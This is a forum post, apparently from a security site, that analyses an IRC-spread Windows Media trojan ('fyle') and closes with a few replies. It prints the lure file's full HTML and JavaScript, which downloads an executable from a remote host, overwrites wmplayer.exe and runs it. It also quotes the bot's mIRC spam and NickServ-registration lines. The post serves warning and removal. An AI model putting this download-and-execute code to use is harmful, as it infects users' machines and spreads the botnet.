Basic run down of the fyle backdoor/virus
By LiquidIce
admin@infoslas.org
http://www.infoslash.org
We been gettin hit alot with pm messges on irc:
sayin " <}z_}> Come watch me on my webcam and chat /w me :-) http://*.*.*.*.*.*:3837/me.mpg"
So i downloaded the file and this seems to be a windows media exploit
i downloaded the .mpg and opened it with a my fav linux txt editor nd here what it contains
Full Version: Windows Media Virus
| CODE |
<html> <h1>Loading Video<br>Please Wait</h1> <h3>If video doesn't load within 30 seconds, then your media player is incompatible.<br> You can download the latest windows media player from <a href="http://www.microsoft.com/windows/windowsmedia/download/default.asp">http://www.microsoft.com/windows/windowsmedia/download/default.asp</a> <textarea id="code" style="display:none;"> var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET", "http://*.*.*.*:4812/windowsMedia.exe",0); x.Send(); var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; s.Open(); s.Write(x.responseBody); s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2); location.href = "mms://"; </textarea> <script language="javascript"> function preparecode(code) { result = ''; lines = code.split(/\r\n/); for (i=0;i<lines.length;i++) { line = lines[i]; line = line.replace(/^\s+/,""); line = line.replace(/\s+$/,""); line = line.replace(/'/g,"\\'"); line = line.replace(/[\\]/g,"\\\\"); line = line.replace(/[/]/g,"%2f"); if (line != '') { result += line +'\\r\\n'; } } return result; } function doit() { mycode = preparecode(document.all.code.value); myURL = "file:javascript:eval('" + mycode + "')"; window.open(myURL,"_media"); }'n291= sw PRIVMSG $hget(HNicks,$hget(nickInc,1)) :Come watch me on my webcam and chat /w me :-) http:// $+ $hget(myIP,1) $+ : $+ $hget(httpd,1) $+ /me.mpg' window.open("error.jsp","_media"); setTimeout("doit()", 5000); </script> |
Basically this is tellin WM to download the exe and save it to C:\\Program Files\\Windows Media Player as
wmplayer.exe , it is then ran & exacutes & error page so you are led to belive the movie is faulty,
where in fact its a virus that downloads in the background & is exacuted, at the moment i havent took alook
at the exe or disambled it but it looks like it fires open a few ports where it servers itsself & then joins
irc networks spammin the messages to infect more people.
I need to now disemble the .exe so i can see exacly what the virus/trojan is doin & where its being controlled
from, ill post more as i look into this
-----------------------------
Ok i decomplied the exe and the virus/backdoor trojan or what ever you want to call it was written
by someone calling themself "flye" ? ( heh smart guy eh puttin his nick in the dam thing )
OK so lets go into detail with this "EXE"
The EXE has a number of functions
Not in any order heres what it does:
unpacks to various files -
fyle.exe [ Irc Client / Bnc ?? ]
The_Magnificent_Fyle.ini [ The irc config file with server addresses, Name to use etc
I use linux so im not able to infect myself to see this in full details ]
me.mpg [ Does this need explaining ? this is what is being spammed on the irc networks & contains
the above code ]
tmp.bat [ The .bat file that sets the complete process off ]
IF YOU RUN A IRC NETWORK YOU MUST BE AWARE THAT THIS VIRUS/TROJAN/BACKDOOR REGISTERS ITSELF
ON YOUR NETWORK THIS IS FOUND IN THE FOLLOWING CODE:
'n86= sw PRIVMSG nickserv :register $prnick(1) $+ $prnick(1) $prnick(1) $+ @hotmail.com'
MAYBE A BLOCK SHOULD BE SET TO STOP @HOTMAIL ADDRESSES REGISTERING NEW NICKS ?
From what i can this this only connects to port 6667
Seen is this line : 'n532= if (%tmp == 0) sockopen findIP irc.undernet.org 6667'
So closing off port 6667 might be a good idea or putting up a dummy ircd on the port
with a warning/notice to real users to connect to a diffrent port, if you downloaded this file from
some where on the net it will contains a few files to create the dummy ircd
[ credits for deflye.sh go to the staff @ irc.mysteria.net for the original file to which i just edited ]
dummy-ircd.c DOES NOT LOG - WHILE deflye.sh DOES LOG
This virus/backdoor is going around infecting people to create bnc's for a channel on irc.undernet.org
*Sigh*
This is found online 22,996:
'n607= sockwrite -n undernet TOPIC $hget(undernet,2) :Free BnC Courtesy of Fyle: /server -m $hget(myIP,1) $sock(bncListen).port'
Im not going to go into any more detials with this as ive no need to the me.mpg & windowsMedia.exe
are with this files but packed into a zip so you dont infect yourself
!!! SO BE WARNED !!!
Greetz
LiquidIce
admin@infoslash.org
Ive attached the code for others to run though
*NOTE*
THE VIRUS/BACKDOOR IS IN /VIRUS/
Is this detected ? No - ive contacted f-secure and they are analizing the files ive submitted + a report i sent-
How do i protect myself ? Dont open any movie links mpgsthat you are not sure of common scence really
What if im infected ? open reg edit go to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run & delete the "flye" entry also go into your windowsmedia dir and the sounds dir and delete The_Magnificent_Fyle.ini , flye.exe - which could also be in Fsounds & f.reg + temp.bat and any other junk it might have dumped in there
thx 4 info 
i was wondering why such guys spam in irc now i know 
i was wondering why such guys spam in irc now i know
Very nice indeed. Hmm...
thanx for the heads up
Im network admin on irc network. I had run-in with 'BNC Bots' and I know that guy in undernet by the nicks in the mirc files.
I went on undernet under some bot's nick and watched their botnets.
apparently they use some hosts for bnc's and trivia bots.
I have other files that i have downloaded from some of his bots.
I remebered that guy named flyre or fyre on that network.
no ddos or packets in files.
Im sure we still have channel named #bnc
I went on undernet under some bot's nick and watched their botnets.
apparently they use some hosts for bnc's and trivia bots.
I have other files that i have downloaded from some of his bots.
I remebered that guy named flyre or fyre on that network.
no ddos or packets in files.
Im sure we still have channel named #bnc
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
